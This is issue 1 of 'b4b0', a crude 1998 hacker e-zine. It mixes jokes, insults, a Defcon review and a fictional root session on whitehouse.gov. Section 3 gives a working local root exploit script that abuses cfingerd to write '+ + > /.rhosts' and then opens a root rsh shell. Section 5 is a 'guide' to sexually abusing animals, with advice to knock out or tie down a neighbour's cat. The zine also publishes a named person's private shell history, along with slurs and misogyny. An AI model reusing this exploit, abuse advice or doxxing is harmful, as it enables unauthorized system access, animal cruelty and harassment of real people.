- -[ (c) 1998 the b4b0 party programme ]- - .`'`'`,: .'`'`'`.' .`'``: .'`'`'`': .' .` .' .' .' .':.' .': d$$$$' .$$$$$$$$. d$$$$` .$$$$$$$$. : +-+-+-+-+ $$$$' $$$$ $$$$ $$$$' $$$$ $$$$ : |b|4|b|0| d$$$. $$$$ $$$$ $$$$. $$$$ $$$$ : +-+-+-+-+ $$$$$b, ``~$ss$$$$ $$$$b. ``~$ $$$$ : [ the resurrection of vice ] $$$$$$$$$$$b.`$$$$ $$$$$$$$$b. $$$$ : [ w00pie! ] $$$$$$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$ : [ over 1 billion served ] $$$$$ $$$$$ $$$$ $$$$$ $$$ $$$$ . $$$$$$ss$$$$' $$$$ $$$$$$ss$$$ $$$$ : $$$$ $$$$$'s$ $$$`s$$$$ $$$$$'s$$$$'.': [ making life a bit more special ]/` - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ........[ issue # 001 ] : : [ ]=[ 1 ] you guessed it, an introduction. : : [ ]=[ 2 ] total bullshit (a.k.a. gripez, complaintz, and thee alike) : : [ ]=[ 3 ] journey in the enchanted forest! : : [ ]=[ 4 ] deedles "yo mama" jokez (not a b4b0 sponsered product but we : : put it in anyways due to lack of taste) [ ]=[ 5 ] SIFAORT (sexuality in farm animals and other related thingz) : : [ ]=[ 6 ] b4b0 adventurez elite : : [ ]=[ 7 ] defcon review by tEEp : : [ ]=[ 8 ] fin :.:... .->[ the b4b0 st4ff ]<-. | | V $ [*] official keeper of all things that are small + ge0rge the elite gerbil [x] organizer of all things that are in cgi-bin + phFh4ck3r [o] gardener of the b4b0 drug fields in Bogota, Columbia + r4lph m4lph [+] the one with the funk flow + thE MiLk [z] tamer of wild amphibious goats wearing thong bikinis + seegn4l [%] pr0n archiver and mystical sheep herder + l0hrdz [i] an enigma in a camels hump + ezzreallahteh [+] pecker of eyes and burgl0r of turdz + tEEp [!] eater of w0rlds and the enlarger of anus + dehp0ozy [@] seller of smack and things dipped in honey + gR3-0p V $ | | `->[ end of b4b0 staff ]-' .,.,.,.,.,. ;shoutoutz; `'`'`'`'`'` any and every person who gets laid in the oval office, good looking irc chicks (if any), our moms (hi mom!), the beastie boyz, the dalilama (y0 h0wz india?) plumbers (say 'no' to crack), chiXy and the rest of you UDDF idiots, Timothy Leary (thankz again), african americans, Allah, all women who get on confs, because we at b4b0 recognize that every horny fuck (which includes ourselves) on the conf seems to try to get phone sex from you we thank you for putting up w/our hormones. -[ fuck yous ]- any domain with the word 'hack' in it, people who buy the "for dummies" book series, packet warriorz, narkz, dalnet, undernets #hackphreak (which technically is a #teen channel on dalnet), congressmen and women, antionline.com, ircmostwanted.org, and any other fucking queer domainz, all people who grep for 'cut here' in text files, and lastly, kenneth starr (drop yur investigation, b. clinton iz a straight pimp. dont disrespekt). - b4b0's international drink : vodka w/a slice of lemon - b4b0's official enemies : Coolio, the chinese government (free tibet you fucking bastards) - b4b0's official spokesman : THE F0NZ - b4b0's international house of pancakes outpost : Outpost #152, Berlin, Germany - Official enforcer of b4b0's will and wayz : Ross Perot's goons (word!) - b4b0's song(s) of work and joy : zoot suit riot (cherry poppin' daddies) intergalactic planetary (beastie boys) -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! .x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x | editorz intr0 | `x- -x- -x- -x-/' hi. i am your editor, ge0rge, here to protect and serve, and yes, b4b0 iz good to the last drop. Bringing you probably the most el8 shit around, b4b0 is here, possibly forever (or till one of us gets sober). We only have one policy here, and thats 'its not our fucking fault you did something because of this publication, dumb shits.' take this policy to heart. aside from that, this zine ought to fucking own because we have alcohol, porn, and a pack of condemz.. so i estimate, overall, this ought to be an enjoyable experience for not only me, but you too (yes YOU!). Anyways, have a nice day and remember, only you can prevent forest fires. .ge0rge - the almighty edit0r -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x - -[1] thats right, an introduction the the b4b0 zine. ]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *b4b0 -[ pronounced ] " bah' boh " *b4b0 -[ known origins ] first created in american laboratories in 1944 to defeat the nazi super power, but soon after war ended, it became a very valuable janitorial cleaning substance. *b4b0 -[ monthly slogan(s) ] b4b0: good to the last drop! b4b0: here to protect and serve. b4b0: come to where the flavor is b4b0: the next generation of wheaties champions *b4b0 -[ warnings ] SURGEON GENERAL'S WARNING: Quitting b4b0 Now Greatly Reduces Serious Risks To Your Health SURGEON GENERAL'S WARNING: b4b0 Read By Pregnant Women May Result In Fetal Injury, Premature Birth, and Low Birth Weight. WARNING: THIS PRODUCT MAY CAUSE GUM DISEASE AND TOOTH LOSS BY READING THIS PRODUCT YOU CONSENT TO READING AN 'AS IS' PRODUCT. NO GUARENTEES OF THIS PRODUCT ARE PROVIDED. *b4b0 -[ other ] 3. JANITORIAL SUPPLIES [URL: www.hiline.net/~alayton/97-93.htm] JANITORIAL SUPPLIES - Edinburg CISD. 5/97 THRU 12/97 For Further Information contact Dina Escamilla, Purchasing Department, at 956-316-7200, ext. 222 or... Last modified 20-Aug-97 - page size 17K - in English [ Translate ] 485-20-36040-4 650 BID 97-93 12.21/CASE CHLORINATED CLEANSING POWDER, ABRASIVE TYPE SCOURING CLEANER, 24/21 OZ. PER CASE, BAB-O, 06906-2421 $ man b4b0 B4B0(1) UNIX Drunken Admin Guide B4B0(1) NAME b4b0 - b4b0 zine / cleaner. SYNOPSIS b4b0 - No information available due to lack of sobriety. DESCRIPTION b4b0 is two things, which makes them especialy dangerous to your system but very fun if you enjoy things such as alcohol, intake, and intake of alcohol. If taken in large amounts, it can cause serious risks to your health. FILES /etc/b4b0 SEE ALSO DRUGS, DRUG USAGE, shutdown(8), death(1), k-radfuqneliteness(2) AUTHOR Original author(s) of b4b0 are still on the run from authorities. If spotted, contact your local federal law enforcement agencies. :q $ whatis b4b0 b4b0: nothing appropriate line 1/1 (END) $ whereis b4b0 b4b0: /b4b0 /usr/man/b4b0.1 /bin/b4b0 /usr/bin/b4b0 /usr/pr0n/b4b0 $ ** irc smack ** so what do you guys think of b4b0! the el8est shit out there! b4b0? yeah b4b0! i dont have it! [hb0mb(hydrogen_b@cx51441-a.lncln1.ri.home.com)] what is b4b0? but i hear its neet! some would say that b4b0 is eliter than viagra would you agreE?! hahah it gets me hard just thinkin about it if b4b0 was a small animal, what would you do with it? give it to rloxely for him to have seckz with if b4b0 was a drug, which bodily orfice would you put it in? I think i'll be leaving now... ** session 2 ** what do you think about b4b0! ? whos that? you know, b4b0! nope =( c0me on, you know, b4b0! well No I dont. I DO!!!!!!!! Ok, well if you did, would you give oral sex to members of b4b0 or b4b0 and thee alike? !b4b0-IRC-qu0tez! 1 t34m b4b0 0wnz 2 1 l0v3 t34m b4b0 3 t34m b4b0 0wnz j00 br0k3n~ 4 t34m b4b0 ownz d4 w0rld 5 b4b0 0wns j00 6 >>> broken- has changed the topic on channel #2600 to: b0w t0 b4b0! 7 Topic for #hack: b4b0: quilted soft, not like those flat-as-a-pancake paper towells - -[2] some idiot named JP [a total bullshit profile] ]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Media whores. Publicity is the name of the game. I just had to add JP@antionline.com in this section because what he does is total bullshit. He gives publicity to people who change html on sites, gives fame to those who crack senstitive sites, but yet disapproves of the 'evil cracker.' JP, as you probably know, runs that loser script kiddie site known as www.antionline.com. It is funny however, how he preaches on the matter of computer security, yet knows nothing of the sort other than what he seen off a movie (we won't say which, you figure it out). But, the most contraversial thing is how on one side he talks about how stopping the evil cracker, but yet on his site, he releases full source to "exploits" which give any idiot with compilation knowledge the ability to gain unauthorized access / unauthorized priveledges to a system. Sure sure, i'll agree that security through obscurity is futile, but security through distribution of full source code to every idiot on the planet sure isn't security. Oh, but wait, exploits are what get the hits right? To prove b4b0z point, here iz some docz. - -[ START JP WAREZ ]- - - -[ thankz to whomever for providing JP's history file. ]- - /* jp bash_history - commented by _mind with a little help from floydy */ /* i've noticed that his ~ is not world executable any more */ pine ls cd public_html ls cd .. /* ls public_html/ is too hard */ ls cd Yakko ls pine ls cd .. ls pine fs ./fs fs -lq ls cd mbox /* ENOTDIR */ cd mail ls cd sent-mail rm sent-mail cd .. ls rm pine.core pine mail ls cd /var/mail/jp /* ENOTDIR, not EAGAIN */ cat /var/mail/jp |more pico /var/mail/jp |more /* ncurses doesn't handle pipes too well */ cat usr/var/jp /* i'm competent, really */ pine cat /usr/var/mail/jp cat /var/mail/jp touch /var/mail/jp cat /var/mail/jp ls rm /var/mail/jp touch jp mv jp /var/mail/jp /* apparently touch only works in the pwd */ rm jp /* who did (cd /bin;ln -sf cp mv) ? */ cat /var/mail/jp pine cat /var/mail/jp del rm /var/mail/jp ./eggdrop Yakko /* i could program my own bot if i knew how! */ pwd /* some day, ill learn how to set my prompt */ cd Yakko ./eggdrop Yakko ./eggdrop wakko /* doh, unix IS case sensitive */ ./eggdrop Wakko ./eggdrop Dot ./eggdrop Dot ./eggdrop Wakko ./eggdrop Yakko ./eggdrop Wakko /* fault tolerant eggdrops ... i am so good */ ./eggdrop Dot cd Yakko ./eggdrop Yakko ./eggdrop Wakko ./eggdrop Dot cd Yakko ./eggdrop Yakko ./eggdrop dot ./eggdrop Wakko ./eggdrop Dot ls pine perl winnuke.pl /* im eleet */ pico /var/usr/jp cat /var/usr/jp pico usr/var/jp /* pico is easier than vi */ pine pico /var/mail/jp pico /var/mail/jp pico /var/mail/jp pico /var/mail/jp pico /var/mail/jp pico /var/mail/jp pico /var/mail/jp pico pine cd Yakko cd Yakko ./eggdrop Wakko ssh cyclone.lazerlink.net /* telnet over the internet into a ssh */ ssh cyclone.lazerlink.net /* over a lan helps security a lot */ ssh cyclone.lazerlink.net cd Yakko ./eggdrop Dot cd Yakko ./eggdrop wakko ./eggdrop Wakko ./eggdrop Yakko ./eggdrop wakko ./eggdrop Wakko ./eggdrop dot ./eggdrop Dot cd Yakko ./eggdrop Wakko ./eggdrop Wakko cd Yakko ./eggdrop Wakko ./eggdrop Yakko ./eggdrop Wakko ./eggdrop Dot ps cd Yakko ./eggdrop Wakko man bitchx /* hey, this looks better than mirc */ domain /* people will respect me because of my domain */ bitchx -h bitchx -h shell.antionline.net /* especially with this great domain */ ./bitchx -H shell.antionline.net bitchx / /* trying to run / again. tsk tsk tsk */ clear /* i'm going to delete your hard drive */ bitchx -H shell.antionline.net clear ps ps kill -9 19487 /* time to take out some agression */ kill -9 19496 kill -9 19632 ./eggdrop Yakko cd Yakko ./eggdrop Yakko ./eggdrop Wakko ./eggdrop Dot ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net telnet cyclone.lazerlink.net pine y /* why not ? */ pine pine pin3e /* aww, bash doesn't interpret 3l33tsp33k */ pine pine pine pine pine pine pine telnet cyclone.lazerlink.net /* ugh, i've got to enter my password with */ ssh cyclone.lazerlink.net /* telnet, let's not use it in the future */ pine pine pine pine pine pine pine whois http://neworder.box.sk/cgi-bin/marek/box/box?act=2&prj=neworder&gfx=newor der&srch=antionline&fil=*&lan=e /* i'm smart */ whois narber.net whois narber.com ssh cyclone.lazerlink.net /* yay for domain search order */ ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net cd Yakko ./eggdrop Yakko ./eggdrop Wakko ./eggdrop Dot whois newjackcity whois netjackcity.net /* maybe this is a new kiddie porn site */ ssh cyclone.lazerlink.net ssh Cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net cd com/jpaccesswatch ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net? ssh cyclone.lazerlink.net cd Yakko ./eggdrop Yakko ./eggdrop Wakko ./eggdrop Dot ssh cyclone.lazerlink.net cd Yakko ./eggdrop Wakko cd Yakko ./eggdrop Dot ssh cyclone.lazerlink.net ssh cyclone.lazerlink.net telnet cyclone.lazerlink.net ssh cyclone.lazerlink.net ssh www.antionline.com ssh www.antionline.com ps cd Yakko cd P ls cd passwords4web/ /* it's a good idea to store your */ cat Vertig0 /* passwords on other systems in plaintext */ cat vertig0 /* i have a good memory */ cat Vertigo ls ls V* cat Vertig0.txt ssh cyclone.lazerlink.net ssh www.antionline.com ssh www.antionline.com ps ssh cyclone.lazerlink.net ssh www.antionline.com ssh shell.antionline.net ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com ssh cyclone.lazerlink.net ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com ssh cyclone.lazerlink.net ssh www.antionline.com ssh www.antionlien.com ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com ssh cyclone.lazerlink.net ssh www.antionline.com ssh www.antionline.com telnet www.antionline.com ssh www.antionline.com ssh www.antionline.net ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com ssh www.antionline.com cd com/jpaccesswatch /* ugh, where did i put 0day windows98? */ ssh www.antionline.com pine pine pine who ssh www.antionline.com cd Yakko ./eggdrop Yakko ps kill -9 7928 pine pine clear /* uh oh, mom is coming down the hall */ who ps logout /* time to get dressed and go to school */ ssh www.antionline.com ./bitchx -h antionline.net bitchx bitchx -H shell.antionline.net ls ls -a cat .BitchX cat .BitchX /clear /* since when are commands stored there? */ clear ls -a bitchx -h bitchx -H shell.antionline.net ls who\ /* i feel like i'm in dos or something */ who bitchx -H shell.antionline.net bitchx -H shell.antionline.net pine cd Yakko ./eggdrop Yakko bitchx -H shell.antionline.net /* bitchx r00lz */ ps kill -9 13616 cd Yakko ./eggdrop Yakko ps kill -9 3911 cd Yakko ./eggdrop Yakko ps kill -9 2746 cd Yakko ./eggdrop Yakko ps kill -9 20207 ls cd Yakko ./eggdrop Yakko cd Yakko ./eggdrop Wakko crontab -e w top exit clear host -l itsi.disa.mil /* hey, i learned a new command */ host -l disa.mil host -l antionline.com nslookup storm.disa.mil /* ditto */ host -l itsi.disa.mil nslookup whitehouse.gov nlsookup 198.137.241.1 nslookup 198.137.241.1 /* look, i'm hacking government sites */ whois eop.gov nslookup 198.137.241.52 /* i hope i do not get caught stealing this */ nslookup 198.137.241.50 /* sensitive information */ nslookup 198.137.242.1 nslookup disa.mil /* i'm being like the MOD */ nslookup www.disa.mil /* i'm glad i've got a lazerlink account */ whois shellz.net /* because windows can't do this */ - -[ END JP WAREZ. ]- - "UNIX For Dummies" hasn't helped out much there JP. This Week's MailBag Wednesday 4:15am, July 22, 1998 It's late, but it's here. Our weekly mailbag gives you the opportunity to ask questions, and make comments. See what other people are saying about current security issues. It says "gives you the opportunity to ask questions, and make comments" but yet all the mail b4b0 has sent in has not been in the 'mailbag.' But then again, what doesn't approve of antionline.com doesn't go up now does it? Censorship is bad he says, but yet he censors the mail. funny isn't it. -[3] enchanted forest]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - while walking through the enchanted forest you find .... -*> ZERO DAY KODEZ!@#$ <*- n0Rmally, Such gay_juarez w0uld n0t b3 rele4seD -H0WEVER seeing az this iz the first issue 0f b4b0!(tm) we are legally 0bliged to pr0vide s0me sort of script for the needz of idiotz like so1o. s0 enjoy! (PS: IF YOU REALLY NEED THIS SCRIPT YOU HAVE SERIOUS ISSUES TO DEAL WITH) #!/bin/sh # T E 4 M B 4 B 0 (tm) # specify what you need. if you can't do # the cfingerd vulnerability to put + + rhosts. # have fun ! # # b4b0! CC=/FILL/THIS/SHMACK/IN/YOU/FUCKING/IDIOT FILE=THISTOOMORON echo "increasing your script kiddie career times 4!" echo "w0rd to b4b0! h0h0h0" echo "b4b0 developementz (c) 1998 [you rip, we castrate]" cat <<_b4b0_> tmp.c #include int main(void) { setreuid(0, 0); system("/bin/echo + + > /.rhosts"); } _b4b0_ $CC tmp.c -o $FILE rm -rf tmp.c echo '$exec '$PWD/$FILE > ~/.project echo "fingering for a better tomorrow.." finger `whoami`@127.0.0.1 2&> /dev/null echo "done (-hopefully-)" echo "have fun -b4b0!" # rsh 127.0.0.1 -l root /bin/sh -i # shm4ck! --STOP CUTTING YOU FUCKING IDIOT-- you thank the gods of b4b0, and continue your journey into the enchanted forest.. -[4] y0 mama jokez by deedle! (erm, dont ask)]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Yo mama's so old when i told her to act her age, the bitch droped dead! Yo mama has 1 eye and 1 leg and works at IHOP Yo mama's like a toyota O WHAT A FEELING! Yo mama's arm pitts are so hairy it looks like she has don king in a head lock. Yo mama's so stupid she got fired from the m&m company for throwing away W's. h0h0h0 Yo mama's so fat when she broke her leg gravy started to poor out. Yo mama's so fat her blood type is rocky road with double fudge. Yo mama's so fat she uses the vcr as a pager. Yo mama's ass is so big she's taller sitting down! Yo mama's so old she coughz mummy dust Yo mama's so old she has jesus's phone # Yo mama's so stupid she thought a quarter back was a refund Yo mama's legs are so hairy when you were born the doctors had to take you to the emergency room for 3rd degree rugburn Yo mama's pussy's so dry the crabs carry cantines. Have you ever heard of the old woman who lived in a shoe? Well yo mama's so poor she lived in a flip flop! Yo mama's so fat she uses the interstate as a slip and slide. - -[5] SIFORT : Sexuality In Farm Animals and Other Related Things ]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - This is the first b4b0 sponsered "Sexuality In Farm Animals and Other Related Things" ( SIFAORT ) by the b4b0 staff. We have made a rating system. observe. -5 -4 -3 -2 -1 0 1 2 3 4 5 6 7 8 9 10 | | | | | | | | | | | | | | | | [ SEE BELOW ] [ BAD ] [ OK ] [ DAMN GOOD ] | if the rating is within these numbers it is recommended that you D0 N0T stick yur wang in that shit. Use this rating scale while reading this compact article of the SIFAORT. Thankz. -- .sssssssssssss. .dS$$$$$$$$$$$$$$$b. d$$$"` `"$$$b NOTE: THIS PICTURE DOES NOT INCLUDE $$$ __ $$$ TAIL. ANOTHER DIFFICULTY. `$$$ [__] $$$' `~$SS $$ SS$~' $$ $$ $$ $ $ $ : : : : : : #1 HORSE: difficulty : expert risk : tons pleasure : 10 on b4b0 scale. background : screwing horses, started off as an amish tradition. Seeing how amish people have more strength than normal human beings and that horses can't talk (cept for mister ed), the horse was / is the best source of sin / pleasure for the amish people. Due to the horse waking up and getting pissed off because your penis is in its anus and kicking you in your chest w/5000 pounds of force, this type of pleasure is for experts ONLY. novices, stick to lower farm animals and house hold pets. -- .ssssssssssssssss. .dS$$$$$$$$$$$$$$$$$$Sb. $$$$P~'` `'~Z$$$$ NOTE: THIS PICTURE TAKEN BY NASA `$$' `$$' SATELLITES. MACHINE CRACKED `$. __ .$' BY EL8 H1J4CK1NG SK1LLS. `$ (__) $' $ $$ $ $ $ $ : : : #2 CAROL MEINAL difficulty : advanced pleasure : -5 background : one word, sick. if you are willing to give this nasty shit a go, check into a hospital, cuz you got problemz. Carol Meinals anus first discovered by explorers of the spanish inquisition. The natives called it "aboobajama", meaning "thing who sucks in all" but the spanish called it "anos de diablo." Be afraid, be very afraid. -- .ssssss. .sdSSSSSSSSSSbs. NOTE: tail not pictured. $SS"` '"SS$ `$ [o] $' `$ : $' `$ . $' #3 Your Neighbors cat. difficulty : novice pleasure : 7 (depending on how much you hate/want cat) background : The cat has a lot of defenses against such rape attacks i.e. claws, teath. It is highly recommended that the cat is either knocked out or tied down securely. It is a good tool for revenge, nothing scares the neighbors more or pisses them off more than a cat with a humongous anus. -- .d$$$b. NOTE: TAIL NOT PICTURED. $$[.]$$ `:' `:' #4 New York Street Rats difficulty : novice pleasure : 5 background : fierce, rabid, but very doable. Take caution because the rats DO have claws and teeth, so like the cat, you must either knock it out, or take the necessary precautions to do it properly. -- .d$$$$$$$$b. $$' _ `$$ `$ (_) $' `$ $ $' $ : $ #5 Domestic Farm Pig. (also referred to as 'hog') difficulty : beginner pleasure : 6 background : The south is where you'll primarily see alot of this type of sexual molestation. A good ride for the beginner, easy source of pleasure because the pig does not fight back hardly at all. No real warnings. Truly, the other white meat. Welp, that ends it for now, stay tuned for the next article, on "Sexuality In Farm Animals and Other Related Things." Until next time! -[6] super adventures of the b4b0 SUPER N1NJAZ ]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0 !b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b 0!b4b0!b4b0!b4b0!b4b0| b4b0z great adventure log |4b0!b4b0!b4b0!b4b0!b4b0!b4b b4b0!b4b0!b4b0!b4b0!b| VOLUME I |b4b0!b4b0!b4b0!b4b0!b4b0!b4 b0!b4b0!b4b0!b4b0!b4b| |!b4b0!b4b0!b4b0!b4b0!b4b0!b b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0 !b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b Politicial and Marital Assassination $ script shit_to_send_to_national_inquirer Script started, file is shit_to_send_to_national_inquirer $ telnet whitehouse.gov Trying 198.137.241.30... Connected to whitehouse.gov. Escape character is '^]'. # id /* fEAR! */ uid=0(root) gid=1 (system) # grep clinton /etc/passwd bclinton:x:100:10:Bill Clinton:/home/bclinton:/bin/sh hclinton:x:101:10:Hillary Clinton:/home/hclinton:/bin/sh # cd /home/bclinton # ls -la MONICA-1.GIF JFLOWERS.JPG LegalCourtDocuments.TXT Evidence/ Legal/ Sex/ bin/ tools/ # ls -la | grep Sex drwx------ 2 bclinton bclinton 32768 Jul 3 01:50 Sex/ # cd Sex # ls -la MONICA-001.GIF MONICA-002.GIF MONICA-003.GIF MONICA-004.GIF MONICA-069.GIF MONICA-ONTABLE.GIF Old/ # ls -la | grep Old drwx------ 2 bclinton bclinton 32768 Jul 3 01:50 Old/ # cd Old # ls -la JFlower-01.JPG JFlower-02.JPG JFlower-03.JPG JFlower-04.JPG JFlower-05.JPG JFlower-06.JPG JFlower-07.JPG JFlower-08.JPG JFlower-09.JPG JFlower-10.JPG Case/ Documentation/ Consent/ # cd .. # who root tty1 narc tty2 kstarr tty3 hclinton tty4 # finger narc Login name: narc In real life: ?????? Directory: /home/narc Shell: /bin/sh Last login Wed Aug 7 02:03 on ttyp4 from 2600.com No unread mail No plan as of yet. # whoami root # pwd /home/bclinton # cd .. # su bclinton #honey you aren't looking at those nasty pictures again are you? # /* HOLY SHIT IM CAUGHT */ # killall -9 -1 Connection Closed By Foreign Host $ exit exit Script done, file is shit_to_send_to_national_inquirer $ - -[7] Defcon 6.0 Review - tEEp]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Over the course of five years, Defcon has become the largest, most popular convention to go to. One chance to go and you'll see why; not neccesarily the chance to see speakers or the chance to check out product exhibitions; but the fact that it's a chance to meet up with people, in of all places, Las Vegas. 105 degree weather, palm trees, and scantily clad women on taxi cab ads were plainly in sight. Nudie "booklets" were available for free in newspaper machines. The Glitter Gulch stood prominently in the Freemont Experience. It's a place that defines Las Vegas. Women, alcohol, and gambling. Oh yeah, and Defcon. Friday was registration ($40) and opening remarks by Dark Tangent. Drinking and gambling in-between. A rather dull discussion on lock picking by Gurney Halleck followed. DJs setup their equipment, while the Capture the Flag network equipment fell into place. What was an empty area suddenly became alive and busy. No leet hackers were to been seen anywhere (guess they all came on Saturday). All no-names and cluebies made the rounds everywhere. In addition, everyone has resented the way hackers are dressed in the movie, "Hackers." One look around, and you'll see it all over again. Various desks popped up in the secondary room with people selling Defcon/OpenBSD/cDc/etc clothing, CDs (FreeBSD/NetBSD/OpenBSD), used hardware, books (amongst of which Carolyn "Clueless" Meinel's book was seen), and even employment services. The three girls selling the "Brute" DefCon T-shirt were very babelicious. Go ahead and buy a T-shirt. Hacker Jeopardy started; as people tested their knowledge, others gambled and drank the night away... Hookers slept with a few haxx0rs that night. As Saturday came, the morning speeches were rather dull. The Hotel Hacking discussion was rather interesting, however. Of course, Ira had to go on his preachy rant about what takes "real technical skills." Of course his speech was rather undetailed and not very technical at all. Go figure. The waitresses are hot at the Luxor Hotel. I highly recommend going there to gamble. Talk about a high skirt with legs. Damn. The Cult of the Dead Cow's intro/demo for Back Orifice was overpacked and stuffy. Seems like every script kiddie needed a new tool to play with. Wow, Windows can be cool again. Whutever. An interesting program; however possibly overrated. Of course as the afternoon waxed to night, people changed clothes to attend the Black and White Ball. A guy wearing a towel, a guy in a bathrobe, two guys in drag; what about the women? Since the male:female ratio was practically 10:1, there's not much to talk about; other than the fact there was a fat ass bitch who thought she was the shit, and the T-shirt selling babes. Oh man, what a sight. Sunday's theme was "missing in action." Many people left in the morning, as well as Se7en not showing up for his speech. As people said their goodbyes, everyone knew... next year, next year... - -[ fin - edit0r ge0rge ]- - b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - welp, this is the end. I would have tried to put more in, but you know how ppl are, not submitting there shit, etc etc.. So, this is adeux. Until next time.. wait up for b4b0-02. always pissed off, ge0rge the elite gerb1l. -< <- EEEEE oOOOOOo FFFFFF EEE OOO OOO FFF EEEE OOO OOO FFFF EEE OOO OOO FFF EEEEE OOOOOOO FFF ( eof )